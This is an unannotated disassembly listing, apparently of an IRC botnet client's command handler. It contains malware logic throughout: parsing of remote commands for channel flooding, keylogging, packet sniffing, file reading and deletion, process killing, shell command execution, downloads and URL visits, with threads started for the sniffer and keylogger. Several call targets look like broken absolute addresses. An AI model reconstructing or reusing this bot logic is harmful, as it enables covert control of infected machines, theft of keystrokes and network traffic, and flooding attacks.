; "#f" lea eax, [ebp+var_14F8] push esi push eax call sub_41C100 push edi lea eax, [ebp+var_1508] push 10h push eax call sub_41C100 lea eax, [ebp+var_1508] push eax lea eax, [ebp+var_2C4] push offset unk_42B9E8 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B3AD add esp, 3Ch mov [ebp+var_13EC], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1508] push ebx push eax push offset dword_40BB54 push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_13EC] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_404BC9 loc_404BB3: ; CODE XREF: sub_401AC7+3100j cmp [ebp+var_13E0], ebx jnz loc_4081DE push 32h nop call near ptr 26A053Bh jmp short loc_404BB3 ; --------------------------------------------------------------------------- loc_404BC9: ; CODE XREF: sub_401AC7+30EAj nop call near ptr 26A0EA9h push eax push offset unk_42B9A8 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_404BDA: ; CODE XREF: sub_401AC7+3027j push [ebp+arg_8] push offset aReconnect_in ; "reconnect.in" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4095BA push [ebp+arg_8] push offset aRin ; "rin" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4095BA push [ebp+arg_8] push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409578 push [ebp+arg_8] push offset aRinms ; "rinms" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409578 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4057B5 call near ptr 26B0D7Ah nop push eax call sub_41C058 push edi push offset aLoad ; "load" call sub_41C7E0 add esp, 0Ch test eax, eax jnz short loc_404CDD cmp [ebp+esi+var_80], ebx jz short loc_404CDD push [ebp+esi+var_80] call sub_41BEF9 pop ecx push eax push [ebp+esi+var_84] call sub_41BEF9 pop ecx push eax push [ebp+esi+var_88] call sub_417DB7 push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B940 push eax call sub_41C006 add esp, 20h cmp [ebp+var_8], ebx jnz short loc_404CDD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_404CDD: ; CODE XREF: sub_401AC7+31A2j ; sub_401AC7+31A8j ... push edi push offset dword_42B93C call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404D44 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D44 push offset asc_42CDCC ; " " push offset dword_42B938 push eax call sub_4183EC push eax lea eax, [ebp+var_47F0] push eax call sub_41C620 lea eax, [ebp+var_47F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B928 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 28h loc_404D44: ; CODE XREF: sub_401AC7+3225j ; sub_401AC7+3230j push edi push offset dword_42B924 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404DAB mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DAB push offset asc_42CDCC ; " " push offset dword_42B938 push eax call sub_4183EC push eax lea eax, [ebp+var_4AF4] push eax call sub_41C620 lea eax, [ebp+var_4AF4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B910 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 28h loc_404DAB: ; CODE XREF: sub_401AC7+328Cj ; sub_401AC7+3297j push edi push offset aNt ; "nt" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404E12 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E12 push offset asc_42CDCC ; " " push offset dword_42B938 push eax call sub_4183EC push eax lea eax, [ebp+var_48F0] push eax call sub_41C620 lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 28h loc_404E12: ; CODE XREF: sub_401AC7+32F3j ; sub_401AC7+32FEj push edi push offset aMode ; "mode" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404E79 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E79 push offset asc_42CDCC ; " " push offset dword_42B938 push eax call sub_4183EC push eax lea eax, [ebp+var_4FF8] push eax call sub_41C620 lea eax, [ebp+var_4FF8] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 28h loc_404E79: ; CODE XREF: sub_401AC7+335Aj ; sub_401AC7+3365j push edi push offset aJoin ; "join" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404EB6 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EB6 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h loc_404EB6: ; CODE XREF: sub_401AC7+33C1j ; sub_401AC7+33CCj push edi push offset aPart_0 ; "part" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404EF3 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EF3 push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h loc_404EF3: ; CODE XREF: sub_401AC7+33FEj ; sub_401AC7+3409j push edi push offset aPartflood ; "partflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404F35 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F35 push offset dword_427638 push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_404F35: ; CODE XREF: sub_401AC7+343Bj ; sub_401AC7+3446j push edi push offset aPnick ; "pnick" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404FA8 cmp [ebp+esi+var_88], ebx jz short loc_404FA8 nop call near ptr 26B0D7Ah push eax call sub_41C058 call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B8] push edx push [ebp+esi+var_88] push offset dword_42B8A0 push eax call sub_41C006 lea eax, [ebp+var_17B8] push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h loc_404FA8: ; CODE XREF: sub_401AC7+347Dj ; sub_401AC7+3486j push edi push offset dword_42B88C call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4050F9 cmp [ebp+esi+var_88], ebx jz loc_4050F9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push offset dword_427638 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h call sub_41C062 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 26A053Bh push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h call sub_41C062 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 26A053Bh push offset dword_427638 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h call sub_41C062 cdq mov ecx, 0C8h idiv ecx push edx call near ptr 26A053Bh nop push offset dword_427638 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_4050F9: ; CODE XREF: sub_401AC7+34F0j ; sub_401AC7+34FDj push edi push offset dword_42B888 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405191 cmp [ebp+esi+var_88], ebx jz short loc_405191 nop call near ptr 26B0D7Ah push eax call sub_41C058 pop ecx call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B860 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h loc_405191: ; CODE XREF: sub_401AC7+3641j ; sub_401AC7+364Ej push edi push offset aNick_0 ; "nick" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405294 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_405294 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 lea eax, [ebp+var_4BC] push eax call sub_417E35 lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 26A053Bh lea eax, [ebp+var_4BC] push eax call sub_417E35 lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h call sub_41C062 cdq mov ecx, 1F4h idiv ecx push edx call near ptr 26A053Bh nop lea eax, [ebp+var_4BC] push eax call sub_417E35 lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_405294: ; CODE XREF: sub_401AC7+36D9j ; sub_401AC7+36E8j push edi push offset aChgnick ; "chgnick" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4052D8 lea eax, [ebp+var_180C] push eax call sub_417E35 lea eax, [ebp+var_180C] push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_4052D8: ; CODE XREF: sub_401AC7+37DCj push edi push offset aMsg ; "msg" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4053CA cmp [ebp+esi+var_88], ebx jz loc_4053CA push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B928 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h call sub_41C062 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 26A053Bh push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B928 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h call sub_41C062 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 26A053Bh push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B928 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_4053CA: ; CODE XREF: sub_401AC7+3820j ; sub_401AC7+382Dj push edi push offset aNotice_0 ; "notice" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4054BC cmp [ebp+esi+var_88], ebx jz loc_4054BC push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h call sub_41C062 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 26A053Bh push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h call sub_41C062 cdq mov ecx, 384h idiv ecx push edx call near ptr 26A053Bh nop push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_4054BC: ; CODE XREF: sub_401AC7+3912j ; sub_401AC7+391Fj push edi push offset aCtcp ; "ctcp" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4055DA cmp [ebp+esi+var_88], ebx jz loc_4055DA push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B818 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 20h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx call near ptr 26A053Bh nop push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B800 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 26A053Bh push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E8 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx call near ptr 26A053Bh nop push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E8 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h loc_4055DA: ; CODE XREF: sub_401AC7+3A04j ; sub_401AC7+3A11j push edi push offset aMix ; "mix" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405707 cmp [ebp+esi+var_88], ebx jz loc_405707 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B818 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 20h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx call near ptr 26A053Bh nop push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 26A053Bh push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 26A053Bh push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_405707: ; CODE XREF: sub_401AC7+3B22j ; sub_401AC7+3B2Fj push edi push offset aRegister ; "register" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40574B mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_40574B push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_40574B: ; CODE XREF: sub_401AC7+3C4Fj ; sub_401AC7+3C5Aj push edi push offset aOff ; "off" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4061E0 mov [ebp+arg_18], offset dword_4D239C loc_405767: ; CODE XREF: sub_401AC7+3CC4j mov eax, [ebp+arg_18] cmp dword ptr [eax-4], 1 jnz short loc_40577D mov eax, [eax] cmp eax, ebx jbe short loc_40577D push eax call dword_4C939C loc_40577D: ; CODE XREF: sub_401AC7+3CA7j ; sub_401AC7+3CADj add [ebp+arg_18], 210h cmp [ebp+arg_18], offset dword_4D8ABC jl short loc_405767 cmp [ebp+var_8], ebx jnz loc_4061E0 push ebx push [ebp+var_4] push offset unk_42B788 push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h jmp loc_4061E0 ; --------------------------------------------------------------------------- loc_4057B5: ; CODE XREF: sub_401AC7+3180j push [ebp+arg_8] push offset aNick_0 ; "nick" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40955F push [ebp+arg_8] push offset aN ; "n" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40955F push [ebp+arg_8] push offset aJoin ; "join" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40953F push [ebp+arg_8] push offset aJ ; "j" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40953F push [ebp+arg_8] push offset aPart_0 ; "part" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409526 push [ebp+arg_8] push offset aPt ; "pt" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409526 push [ebp+arg_8] push offset aRaw ; "raw" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4094EF push [ebp+arg_8] push offset aR ; "r" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4094EF push [ebp+arg_8] push offset aKillthread ; "killthread" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40942C push [ebp+arg_8] push offset aK ; "k" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40942C push [ebp+arg_8] push offset aC_quit ; "c_quit" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409381 push [ebp+arg_8] push offset aC_q ; "c_q" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409381 push [ebp+arg_8] push offset aC_rndnick ; "c_rndnick" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409336 push [ebp+arg_8] push offset aC_rn ; "c_rn" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409336 push [ebp+arg_8] push offset aPrefix ; "prefix" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409321 push [ebp+arg_8] push offset aPr ; "pr" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409321 push [ebp+arg_8] push offset aOpen ; "open" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4092F7 push [ebp+arg_8] push offset aO ; "o" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4092F7 push [ebp+arg_8] push offset aServer ; "server" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4092D2 push [ebp+arg_8] push offset aSe ; "se" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4092D2 push [ebp+arg_8] push offset aDns ; "dns" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40926A push [ebp+arg_8] push offset aDn ; "dn" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40926A push [ebp+arg_8] push offset aKillproc ; "killproc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40923E push [ebp+arg_8] push offset aKp ; "kp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40923E push [ebp+arg_8] push offset aKill ; "kill" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4091E3 push [ebp+arg_8] push offset aKi ; "ki" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4091E3 push [ebp+arg_8] push offset aDelete ; "delete" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4091AF push [ebp+arg_8] push offset aDel ; "del" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4091AF push [ebp+arg_8] push offset aGet ; "get" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4090DB push [ebp+arg_8] push offset aGt ; "gt" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4090DB push [ebp+arg_8] push offset aList ; "list" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4090C0 push [ebp+arg_8] push offset aLi ; "li" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4090C0 push [ebp+arg_8] push offset aVisit ; "visit" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408FD3 push [ebp+arg_8] push offset aV ; "v" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408FD3 push [ebp+arg_8] push offset aMirccmd ; "mirccmd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408F5F push [ebp+arg_8] push offset aMirc ; "mirc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408F5F push [ebp+arg_8] push offset aCmd ; "cmd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408F0B push [ebp+arg_8] push offset aCm ; "cm" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408F0B push [ebp+arg_8] push offset aReadfile ; "readfile" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408E86 push [ebp+arg_8] push offset aRf ; "rf" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408E86 push [ebp+arg_8] push offset aPsniff ; "psniff" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405C9A push edi push offset aOn ; "on" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405C62 push 20h call sub_40B5F5 test eax, eax pop ecx jle short loc_405B8F push offset dword_42B68C jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405B8F: ; CODE XREF: sub_401AC7+40BCj mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_F5C], eax mov eax, [ebp+var_4] mov [ebp+var_ED4], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_ED0], eax jnz short loc_405BD1 mov esi, offset aF_1 ; "#f" push offset byte_43B4B8 push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_405BD1 mov esi, [ebp+var_88] loc_405BD1: ; CODE XREF: sub_401AC7+40ECj ; sub_401AC7+4102j push esi lea eax, [ebp+var_F58] push 80h push eax call sub_41C100 lea eax, [ebp+var_2C4] push offset dword_42B65C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B3AD add esp, 20h mov [ebp+var_ED8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F5C] push ebx push eax push offset byte_412B1F push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_ED8] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_405C51 loc_405C3B: ; CODE XREF: sub_401AC7+4188j cmp [ebp+var_ECC], ebx jnz loc_4081DE push 32h call near ptr 26A053Bh nop jmp short loc_405C3B ; --------------------------------------------------------------------------- loc_405C51: ; CODE XREF: sub_401AC7+4172j nop call near ptr 26A0EA9h push eax push offset dword_42B620 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405C62: ; CODE XREF: sub_401AC7+40ACj push edi push offset aOff ; "off" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4081DE push ebx push 20h call sub_40B5A8 pop ecx cmp eax, ebx pop ecx jle short loc_405C90 push eax push offset dword_42B5E4 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405C90: ; CODE XREF: sub_401AC7+41BCj push offset dword_42B5B8 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405C9A: ; CODE XREF: sub_401AC7+4097j push [ebp+arg_8] push offset aSniffer ; "sniffer" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405DE7 push edi push offset aOn ; "on" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405DAF push 21h call sub_40B5F5 test eax, eax pop ecx jle short loc_405CDC push offset unk_42B590 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405CDC: ; CODE XREF: sub_401AC7+4209j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC8], eax mov eax, [ebp+var_4] mov [ebp+var_E40], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E3C], eax jnz short loc_405D1E mov esi, offset aF_1 ; "#f" push offset byte_43B4B8 push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_405D1E mov esi, [ebp+var_88] loc_405D1E: ; CODE XREF: sub_401AC7+4239j ; sub_401AC7+424Fj push esi lea eax, [ebp+var_EC4] push 80h push eax call sub_41C100 lea eax, [ebp+var_2C4] push offset unk_42B564 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B3AD add esp, 20h mov [ebp+var_E44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC8] push ebx push eax push offset sub_4131AA push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_E44] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_405D9E loc_405D88: ; CODE XREF: sub_401AC7+42D5j cmp [ebp+var_E38], ebx jnz loc_4081DE push 32h nop call near ptr 26A053Bh jmp short loc_405D88 ; --------------------------------------------------------------------------- loc_405D9E: ; CODE XREF: sub_401AC7+42BFj call near ptr 26A0EA9h nop push eax push offset unk_42B528 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405DAF: ; CODE XREF: sub_401AC7+41F9j push edi push offset aOff ; "off" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4081DE push ebx push 21h call sub_40B5A8 pop ecx cmp eax, ebx pop ecx jle short loc_405DDD push eax push offset unk_42B4EC jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405DDD: ; CODE XREF: sub_401AC7+4309j push offset unk_42B4C0 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405DE7: ; CODE XREF: sub_401AC7+41E4j push [ebp+arg_8] push offset aIdent ; "ident" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405EBA push edi push offset aOn ; "on" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_405E82 push 2 call sub_40B5F5 test eax, eax pop ecx jle short loc_405E25 push offset dword_42B498 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405E25: ; CODE XREF: sub_401AC7+4352j lea eax, [ebp+var_2C4] push offset dword_42B46C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B3AD add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_410BBE push ebx push ebx nop call near ptr 26A0586h imul esi, 234h cmp eax, ebx mov dword_43C254[esi], eax jnz loc_4081DE call near ptr 26A0EA9h nop push eax push offset dword_42B438 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405E82: ; CODE XREF: sub_401AC7+4346j push edi push offset aOff ; "off" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4081DE push ebx push 2 call sub_40B5A8 pop ecx cmp eax, ebx pop ecx jle short loc_405EB0 push eax push offset dword_42B400 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405EB0: ; CODE XREF: sub_401AC7+43DCj push offset dword_42B3E0 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405EBA: ; CODE XREF: sub_401AC7+4331j push [ebp+arg_8] push offset aKeyloger ; "keyloger" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408D1A push [ebp+arg_8] push offset aKeylog ; "keylog" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408D1A push [ebp+arg_8] push offset aStop ; "stop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408CF1 push [ebp+arg_8] push offset aStop ; "stop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408CF1 push [ebp+arg_8] push offset aNet ; "net" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4061B2 cmp dword_4C93D4, ebx jz short loc_405F47 cmp dword_4C93FC, ebx jz short loc_405F47 push offset unk_42B388 jmp loc_40851D ; --------------------------------------------------------------------------- loc_405F47: ; CODE XREF: sub_401AC7+446Cj ; sub_401AC7+4474j cmp [ebp+var_C], ebx jz loc_406C42 mov eax, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_405F6F push eax push [ebp+var_C] call sub_41C080 pop ecx mov [ebp+arg_0], eax pop ecx loc_405F6F: ; CODE XREF: sub_401AC7+4498j push edi push offset aStart ; "start" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_405FD5 cmp [ebp+arg_18], ebx jz short loc_405FA9 push [ebp+arg_0] push 3 loc_405F8A: ; CODE XREF: sub_401AC7+4524j ; sub_401AC7+453Cj ... call sub_418BBF push eax lea eax, [ebp+var_2C4] push offset aS_1 ; "%s" push eax call sub_41C006 add esp, 14h jmp loc_406C42 ; --------------------------------------------------------------------------- loc_405FA9: ; CODE XREF: 